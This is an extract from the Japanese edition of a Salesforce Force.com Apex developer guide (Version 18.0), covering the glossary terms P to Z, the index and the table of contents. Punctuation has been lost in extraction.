AppExchange を介して他の組織で使用可能な Forcecom のコンポーネントおよびアプリケーションのグループですAppExchange にまとめてアップロードできるようにパッケージを使用してアプリケーションおよび関連するコンポーネントをバンドルします

パッケージバージョンパッケージでアップロードされる一連のコンポーネント示す番号ですバージョン番号の形式はmajorNumberminorNumberpatchNumber (例 213) となりますメジャー番号およびマイナー番号はメジャーリリースごとに選択された値に増えますpatchNumberはパッチリリース時のみ生成されますpatchNumberがない場合0 であるものとしますパッチバージョンは現在パイロットプログラムで使用できます組織のパッチバージョンの有効化に関する詳細はsalesforcecom までお問い合わせください

未管理パッケージはアップグレードできないため各パッケージバージョンは単に配布用コンポーネントのセットですパッケージバージョンは管理パッケージでより大きな意味を持ちますパッケージは異なるバージョンで異なる動作をします公開者はパッケージバージョンを使用してパッケージを使用する既存の連携に影響を与えることなく後続のパッケージバージョンをリリースすることにより管理パッケージのコンポーネントを発展させることができます

パラメータ化された型パラメータ化された型を使用すると構築時に実際のデータ型と置き換えられる一般的なデータ型パラメータでインターフェースを実装できます

Partner WSDL

複数のSalesforcecom組織にわたって機能できる統合またはAppExchangeアプリケーションを構築する顧客パートナーISV 向けの弱く定型化された Partner WSDLこの WSDL を使用すると開発者は通常はXML の編集が行われる適切なオブジェクト表示でのデータのマー社リングに対応しますただし開発者は

用語集 Version 180 | | 429

特定のデータモデルまたは Salesforcecom 組織に依存しませんこれに対しEnterprise WSDL は強く定型化されています

Platform Edition

Sales や Service amp Support などの標準 Salesforcecom CRM アプリケーションを含まない Enterprise Edition または Unlimited Edition に基づいた Salesforcecom のエディション

プライマリキーリレーショナルデータベースのコンセプトリレーショナルデータベースの各テーブルにはデータ値が一意にレコードを識別する項目がありますこの項目をプライマリキーと呼びます2 つのテーブルのリレーションはあるテーブルの外部キーの値と別のテーブルのプライマリキーの値が一致することによって成り立ちます

運用組織実際の運用データにアクセスするユーザを持っている Salesforcecom 組織

プロトタイプ他の Apex スクリプトに使用できるクラスメソッドおよび変数

Q

クエリロケータ返された最後の結果レコードのインデックスを指定するquery()または queryMore() API コールから返されるパラメータ

クエリ文字列パラメータ通常 URL の「」文字の後に指定されている名前-値のペア例

httpna1salesforcecom001ename=value

R

レコードSalesforcecomオブジェクトの単一インスタンスたとえば「John Jones」は取引先担当者レコードの名前となります

レコード ID

「Salesforcecom レコード ID」を参照してください

レコード名すべての Salesforcecom オブジェクトの標準項目レコード名が Forcecom アプリケーションに表示されると値はレコードの詳細ビューへのリンクとして表示されますレコード名は自由形式のテキストまたは自動採番項目です レコード名 は一意の値である必要はありません

ごみ箱削除した情報を表示し復元できるページごみ箱にはサイドバー内のリンクからアクセスします

用語集 Version 180 | | 430

リレーションページレイアウト内の関連リストおよびレポート内の詳細レベルを作成するために使われる2 つのオブジェクトの間の接続両方のオブジェクトの特定の項目において一致する値を使用して関連するデータにリンクしますたとえばあるオブジェクトには会社に関連するデータが保存されていて別のオブジェクトには人に関連するデータが保存されている場合リレーションを使用するとその会社で働いている人を検索できます

レポート実行ユーザセキュリティ設定がダッシュボードに表示されるデータを指定するユーザ1 つのダッシュボードには 1 人の実行ユーザのみが指定されるためそのダッシュボードにアクセスできる全員に対して各個人のセキュリティ設定に関係なく同じデータが表示されます

S

SaaS

「サービスソフトウェア (SaaS)」を参照してください

Sコントロールカスタムリンクで使用するカスタムWeb コンテンツカスタムSコントロールにはJava アプレットActive-XコントロールExcel ファイルカスタム HTML web フォームなどブラウザに表示できるあらゆる種類のコンテンツを入れることができます

重要 SコントロールはVisualforce ページに置き換えられました新しい組織のほかSコントロールを作成したことがない 2010 年 3 月移行の組織はSコントロールを作成できません既存の Sコントロールに影響はありません今後も編集可能です

IdeaExchange

salesforcecom ユーザが新しい製品のコンセプトを提案お気に入りの拡張機能を推進製品マネージャや他のユーザとの対話salesforcecom が今後のリリースで配布を予定している製品のプレビューを行うことができるフォーラムIdeaExchange ideassalesforcecom を参照してください

Salesforcecom レコード ID

Salesforcecom の 1 つのレコードを示す 15 文字または 18 文字 (英数字) の文字列

Salesforcecom SOA (サービス指向アーキテクチャ)

Apex 内から外部 Web サービスへのコールを作成できる Forcecom の強力な機能

Sandbox 組織Salesforcecom運用組織のほぼ同一コピーテストやトレーニングなど様々な目的のために運用組織のデータとアプリケーションに影響を与えることなく複数の Sandbox をそれぞれの環境に作成できます

セッション ID

ユーザが正常に Salesforcecom にログインした場合に返される認証トークンセッション ID を使用するとユーザが Salesforcecom で別のアクションを実行したいときに再度ログインできなくなりますレコード IDまたは Salesforcecom ID と異なりSalesforcecom レコードの一意の ID を示す用語です

用語集 Version 180 | | 431

セッションタイムアウトログインしてからユーザが自動的にログアウトするまでの時間セッションは前もって決定された非活動状態の長さの後で自動的に終了しますこの長さは [設定] [セキュリティ制御]をクリックすることによって Salesforcecom 内で設定可能ですデフォルト値は 120分 2時間 ですユーザが Web インターフェースでアクションを実行または API コールを作成すると非活動状態タイマーが 0 にリセットされます

設定Forcecom アプリケーションをカスタマイズおよび定義できる管理領域Salesforcecom ページ上部の 設定 リンクから 設定 にアクセスします

Sites

Forcecom Sites ではSalesforcecom 組織と直接統合された公開 Web サイトやアプリケーションを作成できますユーザはユーザ名やパスワードを使用してログインする必要がありません

SOAP (Simple Object Access Protocol)

XML エンコードデータを渡す一定の方法を定義するプロトコル

sObject

Forcecom プラットフォームに保存できるオブジェクト

サービスソフトウェア (SaaS)

ソフトウェアアプリケーションがサービスとしてホストされ顧客にインターネットを経由して提供される配信モデルSaaS ベンダはアプリケーションおよび各顧客データの日常メンテナンス操作およびサポートを行う責任がありますこのサービスで顧客が独自ののハードウェアソフトウェアそして関連 IT リソースを使用してアプリケーションをインストール構成保守する必要性を緩和しますSaaS モデルを使用してあらゆる市場区分にサービスを配信することができます

SOQL (Salesforcecom オブジェクトクエリ言語)

Forcecom データベースからデータを選択するために使用する必要のある単純で強力なクエリ文字列を構築し基準を指定できるクエリ言語

SOSL (Salesforcecom オブジェクト検索言語)

Forcecom API を使用してテキストベースの検索を実行できるクエリ言語

標準オブジェクトForcecomプラットフォームに含まれる組み込みオブジェクトアプリケーション独自の情報を格納するカスタムオブジェクトを作成することもできます

システムログコードスニペットのデバッグに使用できる独立したウィンドウウィンドウの下部にテストするコードを入力して[実行] をクリックします[システムログ] の本文には実行する行の長さや作成されたデータベースコール数などのシステムリソース情報が表示されますコードが完了しなかった場合はコンソールにデバッグ情報が表示されます

T

Tag

Salesforcecomでデータを独自の方法で記述および整理するために使用されほとんどのレコードに関連付けることができる単語または短い語句システム管理者がタグを有効化できるのは取引先活動納入商品

用語集 Version 180 | | 432

キャンペーンケース取引先責任者契約ダッシュボードドキュメント行動リードメモ商談レポートソリューションToDoおよびカスタムオブジェクト (リレーションシップグループメンバーを除く)ですタグにはForcecom Web サービス API からもアクセスできます

Salesforce Content ではタグはワークスペース全体のコンテンツを分類および整理するための説明ラベルのことを意味しますユーザは特定のタグに属すすべてのファイルやWeb リンクのリストを表示したりタグに基づいて検索結果を絞り込んだりすることができます

Test メソッド特定のコードが適切に動作しているかを確認する Apex クラスメソッドTest メソッドは引数を採用せずデータをデータベースにコミットしませんまたコマンドラインまたは Forcecom IDE のような Apex IDEで runTests()システムメソッドによって実行できます

トリガデータベースの特定の種類のレコードが挿入更新または削除される前後で実行する Apex の一部です各トリガはトリガが実行されるレコードへのアクセス権限を提供する一連のコンテキスト変数で実行しすべてのトリガは一括モードで実行しますつまり一度に 1 つずつレコードと処理するのではなく複数のレコードを一度に処理します

トリガコンテキスト変数トリガおよびトリガが起動するレコードに関する情報へのアクセス権限を提供するデフォルト値

U

V

ビューVisualforce で定義された Model-View-Controller モデルのユーザインターフェース

表示状態要求間のデータベースの状態の維持に必要なすべての情報は表示状態として保存されます

Visualforce

開発者がプラットフォームに作成されたアプリケーションのカスタムページおよびコンポーネントを容易に定義できる単純でタグベースのマークアップ言語各タグがページのセクション関連リストまたは項目など大まかなコンポーネントときめの細かいコンポーネントのどちらにも対応していますコンポーネントの動作は標準のSalesforcecomページと同じロジックを使用して制御することも開発者が独自のロジックを Apex で記述されたコントローラと関連付けることもできます

Visualforce ページVisualforce を使用して作成された Web ページ通常Visualforce ページには組織に関連する情報が表示されますがデータの変更または取得も可能ですPDF ドキュメントや電子メールの添付ファイルなどさまざまな方法で表示できますまた CSS スタイルに関連付けることもできます

用語集 Version 180 | | 433

W

Web サービス様々なプラットフォームで稼動さまざまな言語で作成またはお互い地理的に離れている場合であっても2 つのアプリケーションがインターネットを経由してデータを容易に交換できるメカニズム

WebService メソッドSコントロールやサードパーティのアプリケーションのマッシュアップなど外部システムによって使用できる Apex クラスメソッドまたは変数Web サービスメソッドはグローバルクラスで定義する必要があります

ワークフローと承認時のアクションワークフローと承認時のアクションはワークフロールールまたは承認プロセスで起動できる電子メールアラートToDo項目自動更新アウトバウンドメッセージで構成されています

ラッパークラスログインセッションの管理レコードのクエリおよびバッチなど一般的な機能を抽象化するクラスラッパークラスを使用すると統合でより容易にプログラムロジックを開発保持および一か所に保存できコンポーネント間で容易に再利用できるようになりますSalesforcecomのラッパークラスにはSalesforcecomWeb Services API 周辺の JavaScript ラッパーである AJAX ToolkitCTI Adapter for Salesforce CRM Call Centerの CCritical SectionなどのラッパークラスForcecom Web Services API を使用して Salesforcecom もアクセスするクライアント統合アプリケーションの一部として作成されたラッパークラスがあります

WSDL (Web Services Description Language) ファイルWeb サービスと送受信するメッセージの形式を説明する XML ファイル開発環境の SOAP クライアントはSalesforcecom Enterprise WSDL または Partner WSDL を使用してSalesforcecom Web サービス API を使用する Salesforcecom と通信します

X

該当用語はありません

Y

該当用語はありません

Z

該当用語はありません

用語集 Version 180 | | 434

索引

A

abstract 定義修飾子 86Action クラス

インスタンス化 318メソッド 318理解 318

addError()トリガ 77After トリガ 65AJAX サポート 82ALL ROWS キーワード 60Answers クラス 374Ant tool 383AnyType データ型 27Apex

scriptsシステムコンテキスト 105共有の使用 105

WSDL 178スケジューラ

スケジューラブルインターフェース 77テスト 78ベストプラクティス 81

テスト 122 123概要 7 9共有の理由

データベースオブジェクト 273再適用 160理解 156

共有管理 153呼び出し 64使用するケース 14設計 120操作手順 11

Apex ドキュメント表記規則 16Apex のスケジュール 77Apex の一括処理

schedule 77インターフェース 146データベースオブジェクト 273使用 146

Apex の呼び出し 64Apex の呼び出し方法 64Apex の作成 11API コールWeb サービス

Apex に使用可 406custom 171executeAnonymous 81retrieveCode 386runTests 128

AppExchange管理パッケージバージョン 165 166

B

Before トリガ 65

Blob データ型 27Blob メソッド 207Boolean データ型 27Boolean メソッド 207

C

Collectionsセット 33マップ 33リスト 33反復 37反復 for ループ 53

Comments 49compileAndTest コール 388 407

deploy コールを参照 385compileClasses コール 388 410compileTriggers コール 388 411ConvertLeadデータベースメソッド 187Crypto クラス 359

D

Database メソッドメソッド 273理解 273

DatabaseBatchable 146 160DatabaseBatchableContext 147Date

データ型 27メソッド 207

Datetimeデータ型 27メソッド 210

Decimalデータ型 27メソッド 214丸めモード 217

Delete database メソッド 191Delete ステートメント 191DeleteResultオブジェクト 192deploy コール 385Deprecated アノテーション 109Developer Edition 11DML 操作

convertLead 187error オブジェクト 277limit メソッド 277サポートされていない sObjects 204機能 204理解 186例外処理 205

DMLException メソッド 298DMLOptions

メソッド 273

Index

DMLステートメントdelete 191insert 192merge 195undelete 195update 198upsert 200

Do-while ループ 51Document クラス 354DOM 354Double

データ型 27メソッド 219

E

EclipseApex の展開 388EmailException メソッド 298EmptyRecycleBinResult

メソッド 276EncodingUtil クラス 360Enterprise EditionApex の展開 382Enum

メソッド 237理解 38

Error オブジェクトDML 277メソッド 277

executeanonymous コール 81executeanonymous() コール 412

F

Final キーワード 41 102FOR UPDATE キーワード 60For ループ

SOQLクエリ 54ロック 61

リスト反復またはセット反復 53従来の 53理解 52

Forcecom共有管理 153

Forcecom IDEApex の展開 383Forcecom 移行ツール

Apex の展開 383追加のディプロイメソッド 388

Future アノテーション 107

G

Get アクセサー 95global アクセス修飾子 86 92

H

HeadersPackageVersionHeader 420

Hello World の例ユニットテスト 23理解 21

Http クラス 350HTTP 要求

証明書の使用 183HttpRequest クラス 350HttpResponse クラス 352

I

ID データ型 27IDE 12IdeaStandardController クラス

インスタンス化 319メソッド 319理解 319

IdeaStandardSetController クラスインスタンス化 321メソッド 321理解 321

If-else ステートメント 51In 句SOQL クエリ 59InboundEmail オブジェクト 311 312InboundEmailBinaryAttachment オブジェクト 314InboundEmailHeader オブジェクト 313InboundEmailTextAttachment オブジェクト 314InboundEmailResult オブジェクト 314InboundEnvelope オブジェクト 315instanceof キーワード 103Integer

データ型 27メソッド 220

isAfter トリガ変数 67isBefore トリガ変数 67isDelete トリガ変数 67isExecuting トリガ変数 67isInsert トリガ変数 67IsTest アノテーション 109isUndeleted トリガ変数 67isUpdate トリガ変数 67IsValid フラグ 70 113

L

L-値式 41Language

コンストラクト 26概要 17

LeadConvertResultオブジェクト 190Limit 句SOQL クエリ 59Limits

メソッド 126Long

データ型 27メソッド 220

M

Mapメソッド 231

Matcher クラスキャプチャグループ 339メソッド 342

Index

Matcher クラス (つづき)リージョン 337境界 338検索 338使用 337理解 336例 339

Matcher メソッドPattern メソッドも参照してください 342

Math メソッド 280Merge ステートメント

トリガおよび 73理解 195

Message クラスインスタンス化 325メソッド 325重要度の enum 326理解 325

Message 重要度 326Metadata API コール

deploy 385

N

new トリガ変数 67newMap トリガ変数 67Not 句SOQL クエリ 59

O

old トリガ変数 67oldMap トリガ変数 67

P

Package メソッド 284PackageVersionHeader ヘッダー 420PageReference クラス

インスタンス化 326クエリ文字列の例 329ナビゲーションの例 329メソッド 327理解 326

Pattern クラス使用 337理解 336例 339

Pattern メソッド 340private アクセス修飾子 86 92ProcessRequest クラス 363ProcessResult クラス 363ProcessSubmitRequest クラス 364ProcessWorkitemRequest クラス 365protected アクセス修飾子 86 92public アクセス修飾子 86 92

R

Reason 項目値 154retrieveCodeコール 386RowCause 項目値 154

runAs メソッドusing 124パッケージバージョン 169使用 169

runTests コール 128runTests() コール 413

S

Salesforcecom API バージョン 118Sandbox 組織Apex の展開 382SaveResultオブジェクト 194 199Schema メソッド 238Search メソッド 285SelectOption

class 330インスタンス化 330メソッド 331例 332

Set アクセサー 95setFixedSearchResults メソッド 126setSavepoint メソッド 61size トリガ変数 67SOAP およびオーバーロード 172sObject

DML操作をサポートしない 204fields 31すべてにアクセスする 138データ型 30トークン 136メソッド 242リスト 35一緒に使用できない 204関係を介した項目へのアクセス 32検証 33項目の参照解決 57参照によって渡される 30式 49数式項目 57定義結果 136定義結果メソッド 245

sObjects 名および項目名の検証 33SOQL クエリ

Apex 変数 59for ループ 54 61limit メソッド 277インライン行のロック 60すべてのレコードの問い合わせ 60ロック 61外部キー 59結果の処理 57式 41集計関数 57親子関係 59大きい結果リスト 58動的 140予防注入 141理解 55

SOQL注入 141SOSL インジェクション 142

Index

SOSL クエリApex 変数 59limit メソッド 277テスト 126結果の処理 57式 41動的 141予防注入 142理解 55

SSL 認証 181StandardController

メソッド 333例 334

StandardController クラスインスタンス化 333理解 332

StandardSetControllerメソッド 335例 336

StandardSetController クラスインスタンス化 334理解 334

Stringデータ型 27メソッド 221

super キーワード 103System メソッド

静的 285名前空間プレフィックス 116

System 名前空間プレフィックス 116

T

Test メソッドVisualforce 293

testMethod キーワード 124this キーワード 104Throw ステートメント 63Time

データ型 27メソッド 226

transient キーワード 104Try-catch-finally ステートメント 63

U

Undelete ステートメント 195Undelete トリガ 73UndeleteResultオブジェクト 196Unlimited EditionApex の展開 382UpsertResult object 201Upsertステートメント 200Upsertデータベースメソッド 200UserInfo メソッド 295

V

virtual 定義修飾子 86Visualforce

ApexPages メソッド 260pages 317

Visualforce (つづき)コントローラ

transient キーワード 104表示状態の保持 104理解 317

セキュリティのヒント 399メッセージの重要度 326使用するケース 14

W

Web サービス API コールcompileAndTest 383compileClasses 388compileTriggers 388compleAndTest 388custom 171executeAnonymous 81retrieveCode 386runTests 128トランザクションの制御 61使用するケース 14

WebService メソッドオーバーロード 172データの公開 171考慮事項 171理解 171

Where 句SOQL クエリ 59While ループ 52with sharing キーワード 105without sharing キーワード 105WSDL

Apex クラスの作成 174オーバーロード 172デバッグ 181ヘッダーのマッピング 180ランタイムイベント 180生成 171例 178

WSDL からのクラスの定義 174

X

XmlNode クラス 356XmlStreamReader クラスメソッド 366XmlStreamWriterクラスメソッド 371XMLライターメソッド 371XMLリーダーメソッド 366

あアイデアクラス 375アクセス修飾子 92アノテーション

deprecated 109future 107isTest 109理解 107

アンカー付き境界 338

Index

いイタレータ

custom 101using 101反復 101

イベントトリガ 66インスタンス

メソッド 93 94初期化コード 93 94変数 93 94

インターフェース 97イタレータ 101スケジュール可能 77パラメータ化された型 99反復 101

インライン SOQL クエリ1 つのレコードを返す 59行のロック 60

うウォークスルーサンプルアプリケーション 389

えエスケープシーケンス文字 27

おオブジェクト

データ型 27 30リスト 35

かカスタム API コールのオーバーロード 172カスタム設定

メソッド 256例 258

カスタム表示ラベル 31ガバナー

limit メソッド 277

きキーワード

ALL ROWS 60final 41 102FOR UPDATE 60instanceof 103super 103testMethod 124this 104transient 104webService 171with sharing 105without sharing 105予約 397

キャストコレクション 111

キャスト (つづき)理解 110

キャプチャグループ 339 342

くクイックスタート 16クエリ

SOQL および SOSL 55SOQL および SOSL 式 41結果の処理 57

クライアント証明書 181クラス

action 318answers 374Apex 300API バージョン 118Crypto 359email 300EncodingUtil 360Http 350HttpRequest 350HttpResponse 352IdeaStandardController 319IdeaStandardSetController 321IsValid フラグ 113Java との違い 112matcher 336message 325pageReference 326pattern 336ProcessRequest クラス 363ProcessResult 363ProcessSubmitRequest 364ProcessWorkitemRequest 365selectOption 330standardController 332standardSetController 334Visualforce 104with sharing 105without sharing 105WSDL 178WSDL からの定義 174XmlNode 356アイデア 375アノテーション 107インターフェース 97キャスト 110コミュニティ 374コレクション 111コンストラクタ 90コンストラクタの使用 90セキュリティ 115ディビジョン 378ドキュメント 354プロパティ 95メソッド 89メソッドの定義 89メッセージ 300営業時間 373型の解決 117受信電子メール 310定義 85 113

Index

クラス (つづき)変数 89変数の宣言 89名前のシャドウイング 115名前付け規則 114優先度 116理解 85例 86例外 315

グループキャプチャ 339

こコード

セキュリティ 399コール

compileAndTest 407compileClasses 410compileTriggers 411executeanonymous() 412runTests 128runTests() 413

コールアウトHTTP 181limit メソッド 277limits 184WSDL からの定義 174タイムアウト 184リモートサイト設定 174呼び出し 173非同期 107

コミュニティクラスanswers 374

コレクションclasses 111キャスト 111

コンストラクタチェーニング 104使用 90

コンテキスト変数trigger 67考慮事項 68

コントローラVisualforcecustom 317拡張 317

コンポーネント動作のバージョニング 167 168

さサイトクラス 378サンプルアプリケーション

code 391チュートリアル 389データモデル 389概要 389

しシステムアーキテクチャApex 11システムログコンソール

匿名ブロック 81

システム検証 74

すスケジューラブルインターフェース 77ステートメント

if-else 51メソッド呼び出し 89ロック 60代入 50例外

throw 63try-catch-finally 63理解 62

せセキュリティ

class 115code 399Visualforce 401とカスタム API コール 171証明書 181数式 401

セットメソッド 234反復 37反復 for ループ 53理解 35

たダイナミック Apex

外部キー 142理解 134

ダイナミック DML 142

ちチェーニングコンストラクタ 104チャンクサイズSOQL クエリ for ループ 54チュートリアル 16 389

つツール 383

てディプロイ

Forcecom IDE 383Forcecom Migration Tool の使用 383追加メソッド 388理解 382

データカテゴリメソッド 238

データベースEmptyRecycleBinResult 276objects

メソッド 273理解 273

Index

データベース (つづき)エラーオブジェクトメソッド 277メソッド

convertLead 187delete 191insert 192undelete 195update 198upsert 200システム静的 262

データ型sObject 30プリミティブ 27変換 39理解 27

デザインパターン 120テスト

isTest アノテーション 109runAs 124 169SOSL クエリ 126start および stop test の使用 126ガバナ制限 126テストの対象 123ベストプラクティス 128実行 127理解 122 123例 129

テストの開始および停止 126デッドロック回避 61デバッグ

Hello World の例 23WSDL ドキュメントから作成したクラス 181

とトークン

fields 137sObject 136予約 397

トランザクションの制御ステートメントトリガおよび 66理解 61

トリガAPI バージョン 118isValid フラグ 70undelete 73コンテキスト変数 67コンテキスト変数の考慮事項 68デザインパターン 120トランザクションの制御 61トランザクションの制御ステートメント 66バルククエリ 69 70マップおよびセット使用 69ユニットテスト 23一意の項目 70一括処理 66一般的なイディオム 69結合イベントおよび 73構文 66行動 66実行順 74対象外操作 75

トリガ (つづき)大量例外処理 205定義 70復元レコード 73変更できない項目 76理解 65例外 77

トリガ実行の順序 74トリガ対象外の操作 75

ねネスとされたリスト 34

はバージョン設定

API バージョン 118パッケージバージョン 119理解 118

バインド 59パッケージ名前空間 116バッチサイズSOQL クエリ for ループ 54パラメータ化された型 99

ひヒープサイズ

limit メソッド 277

ふプリミティブデータ型

値によって渡される 27プログラミングパターン

triggers 120プロパティ 95プロファイルクラスへのアクセス権の設定 115

へページVisualforce 317ベストプラクティス

Apex 120Apex スケジューラ 81Apex の一括処理 152triggers 120WebService キーワード 171テスト 128プログラミング 120

まマップ

SObject 配列からの作成 37反復 37理解 36

Index

めメソッド

action 318ApexPages 260blob 207boolean 207database

convertLead 187delete 191undelete 195update 198upsert 200システム静的 262

date 207datetime 210decimal 214DescribeSObjectResultオブジェクト 245DMLOptions 273double 219enum 237error オブジェクト 277IdeaStandardController 319IdeaStandardSetController 321integer 220limits 277list 227long 220map 36matcher 342math 280message 325package 284pageReference 327pattern 340QueryLocator 273schema 238SelectOption 331sendEmail 300 309set 35 234setFixedSearchResults 126sObject 242StandardController 333StandardSetController 335string 221system 285test 293time 226userInfo 295XML Reader 366XmlStreamWriter 371アクセス修飾子 92インスタンス 93 94カスタム設定 256クラスで使用 89データカテゴリ 238マップ 231ユーザー定義 89検索 285項目定義結果 249再帰 89参照渡し 89承認 260静的 93

メソッド (つづき)標準 205副次的影響のある void 89名前空間プレフィックスと 116例外 297

ゆユーザー定義メソッドApex 89ユーザによる共有管理 153ユニットテスト

SOSL クエリ 126実行 127理解 124

りリージョンと正規表現 337リスト

sObject 35メソッド 227概要 34式 49定義 34配列表記 34反復 37

リストサイズSOQL クエリ for ループ 54リスト反復 for ループ 53リテラル式 41リモートサイト設定 174リリースノート 16

るループ

do-while 51for

SOQL クエリ 54SOQL のロック 61リスト反復またはセット反復 53従来の 53理解 52

while 52理解 51

れレコードの所有者 153

ろローカル変数 93ロールバックメソッド 61ロール階層 153ロックするステートメント 60

わワークフロー 74

Index

  • Forcecom Apex コードの概要
    • Apex とは
      • Apex はどう機能しますか
      • Apex開発プロセスとは
        • Developer Edition アカウントの取得
        • Apex の作成
        • テストの作成
        • Sandbox 組織への Apex のディプロイ
        • Apex の Salesforcecom 運用組織へのディプロイ
        • Apex スクリプトの Forcecom AppExchange App アプリケーションへの追加
          • Apex はいつ使用するのですか
          • Apexの制限とは
            • 最新情報
            • Apex クイックスタート
              • Apex ドキュメント表記規則
              • Apex の主要な概念について
              • 最初の Apex スクリプトの作成
                • Hello World プログラムへのテストの追加
                  • 言語構造
                    • データ型
                      • プリミティブデータ型
                      • sObject 型
                        • sObject 項目へのアクセス
                        • 関係を介した sObject 項目へのアクセス
                        • sObjects および項目の検証
                          • コレクション
                            • リスト
                              • プリミティブまたは sObject の一次元リストの配列表記法の使用
                              • sObjects のリスト
                                • セット
                                • マップ
                                • SObject 配列からのマップ
                                • コレクションの繰り返し処理
                                  • 繰り返し処理中の要素の追加
                                  • 繰り返し処理中の要素の削除
                                      • Enum
                                      • 変換の規則について
                                        • 変数
                                          • 大文字と小文字の区別
                                          • 定数
                                              • 式について
                                              • 式の演算子について
                                              • 演算子の優先度について
                                              • sObject 式およびリスト式の拡張
                                              • コメントの使用
                                                • 代入ステートメント
                                                • 条件 (If-Else) ステートメント
                                                • ループ
                                                  • Do-While ループ
                                                  • While ループ
                                                  • For ループ
                                                    • 従来の For ループ
                                                    • リスト反復またはセット反復の For ループ
                                                    • SOQL For ループ
                                                      • SOQL For ループと標準 SOQL クエリの比較
                                                      • SOQL For ループの形式
                                                        • SOQL および SOSL クエリ
                                                          • SOQL および SOSL クエリ結果の処理
                                                          • SOQL 集計関数の使用
                                                          • 非常に大きな SOQL クエリの処理
                                                          • 1 つのレコードを返す SOQL クエリ
                                                          • 外部キーおよび親子関係の SOQL クエリについて
                                                          • SOQL クエリおよび SOSL クエリでのApex 変数の使用
                                                          • SOQL ステートメントによるすべてのレコードの問い合わせ
                                                            • ロックするステートメント
                                                              • SOQL For ループのロック
                                                              • デッドロックの回避
                                                                • トランザクションの制御
                                                                • 例外ステートメント
                                                                  • Throw ステートメント
                                                                  • Try-Catch-Finally ステートメント
                                                                      • Apex の呼び出し
                                                                        • トリガ
                                                                          • バルクトリガ
                                                                          • トリガ構文
                                                                          • トリガコンテキスト変数
                                                                          • コンテキスト変数の考慮事項
                                                                          • 一般的なバルクトリガイディオム
                                                                            • バルクトリガでのマップおよびセットの使用
                                                                            • バルクトリガのレコードとクエリ結果の相関
                                                                            • トリガを使用した一意の項目を持つレコードの挿入または更新
                                                                              • トリガの定義
                                                                              • トリガと Merge ステートメント
                                                                              • トリガと復元レコード
                                                                              • トリガと実行の順序
                                                                              • トリガを開始しない操作
                                                                              • トリガで更新できない項目
                                                                              • トリガの例外
                                                                                • Apex スケジューラ
                                                                                • 匿名ブロック
                                                                                • AJAX での Apex
                                                                                  • クラスオブジェクトおよびインターフェース
                                                                                    • クラスを理解する
                                                                                      • Apex クラスの定義
                                                                                      • 拡張クラス例
                                                                                      • クラス変数の宣言
                                                                                      • クラスメソッドの定義
                                                                                      • コンストラクタの使用
                                                                                      • アクセス修飾子
                                                                                      • 静的およびインスタンス
                                                                                        • 静的メソッドと変数を使う
                                                                                        • インスタンスメソッドと変数を使う
                                                                                        • 初期化コードを使う
                                                                                          • Apex プロパティ
                                                                                            • インターフェースおよび拡張クラス
                                                                                              • パラメータ化された型とインターフェース
                                                                                              • カスタムイテレータ
                                                                                                • キーワード
                                                                                                  • final キーワードの使用
                                                                                                  • instanceof キーワードの使用
                                                                                                  • super キーワードの使用
                                                                                                  • this キーワードの使用
                                                                                                  • transient キーワードの使用
                                                                                                  • with sharing または without sharing キーワードの使用
                                                                                                    • アノテーション
                                                                                                      • Future
                                                                                                      • IsTest
                                                                                                      • Deprecated
                                                                                                        • クラスとキャスト
                                                                                                          • クラスとコレクション
                                                                                                          • コレクションキャスト
                                                                                                            • Apex クラスと Java クラスの違い
                                                                                                            • クラス定義作成
                                                                                                              • 名前付け規則
                                                                                                              • 名前のシャドウイング
                                                                                                                • クラスセキュリティ
                                                                                                                • 名前空間プレフィックス
                                                                                                                  • メソッドの起動での名前空間の使用
                                                                                                                  • 名前空間クラス変数名の優先度
                                                                                                                  • 型の解決と型のシステム名前空間
                                                                                                                    • バージョン設定
                                                                                                                      • クラスおよびトリガの Salesforcecom API バージョン設定
                                                                                                                      • Apex クラスおよびトリガのパッケージバージョンの設定
                                                                                                                          • Apex デザインパターン
                                                                                                                            • トリガと一括要求
                                                                                                                              • Apex のテスト
                                                                                                                                • Apex のテストについて
                                                                                                                                  • Apex テストの理由
                                                                                                                                  • Apex のテストの対象
                                                                                                                                    • Apex のユニットテスト
                                                                                                                                      • runAs メソッドの使用
                                                                                                                                      • LimitsstartTestおよび stopTest の使用
                                                                                                                                      • SOSL クエリのユニットテストへの追加
                                                                                                                                        • ユニットテストメソッドの実行
                                                                                                                                        • ベストプラクティスのテスト
                                                                                                                                        • テストの例
                                                                                                                                          • ダイナミック Apex
                                                                                                                                            • Apex 定義情報について
                                                                                                                                            • 動的 SOQL
                                                                                                                                            • 動的 SOSL
                                                                                                                                            • ダイナミック DML
                                                                                                                                              • Apex の一括処理
                                                                                                                                                • Apex の一括処理の使用
                                                                                                                                                • Apex による共有管理について
                                                                                                                                                  • 共有の理解
                                                                                                                                                  • Apex を使用したレコードの共有
                                                                                                                                                  • Apex による共有管理の再適用
                                                                                                                                                      • 管理パッケージでの Apex の開発
                                                                                                                                                        • パッケージバージョン
                                                                                                                                                        • Apex の廃止
                                                                                                                                                        • パッケージバージョンの動作
                                                                                                                                                          • Apex コードの動作のバージョニング
                                                                                                                                                          • バージョニングされていない Apex コードの項目
                                                                                                                                                          • パッケージバージョンの動作のテスト
                                                                                                                                                              • Apex メソッドの Web サービスとしての公開
                                                                                                                                                                • WebService メソッド
                                                                                                                                                                  • WebService メソッドによるデータの公開
                                                                                                                                                                  • WebService キーワード使用に関する考慮事項
                                                                                                                                                                  • Web サービスメソッドのオーバーロード
                                                                                                                                                                      • Apex を使用したコールアウトの呼び出し
                                                                                                                                                                        • リモート サイト設定の追加
                                                                                                                                                                        • SOAP サービス WSDL ドキュメントからのクラスの定義
                                                                                                                                                                          • 外部サービスの呼び出し
                                                                                                                                                                          • HTTP ヘッダーのサポート
                                                                                                                                                                          • サポートされた WSDL 機能
                                                                                                                                                                          • 生成されるコードについて
                                                                                                                                                                          • WSDL 使用についての考慮事項
                                                                                                                                                                            • ヘッダーのマッピング
                                                                                                                                                                            • ランタイムイベントについて
                                                                                                                                                                            • 変数名でサポートされていない文字について
                                                                                                                                                                            • WSDL ファイルから生成したクラスのデバッグ
                                                                                                                                                                                • HTTP コールアウトの呼び出し
                                                                                                                                                                                • 証明書の使用
                                                                                                                                                                                  • 証明書の生成
                                                                                                                                                                                  • SOAP サービスでの証明書の使用
                                                                                                                                                                                  • HTTP 要求での証明書の使用
                                                                                                                                                                                    • コールアウトの制限
                                                                                                                                                                                      • 参照
                                                                                                                                                                                        • Apex のデータ操作言語 (DML) 操作
                                                                                                                                                                                          • ConvertLead 操作
                                                                                                                                                                                          • Delete 操作
                                                                                                                                                                                          • Insert 操作
                                                                                                                                                                                          • Merge ステートメント
                                                                                                                                                                                          • Undelete 操作
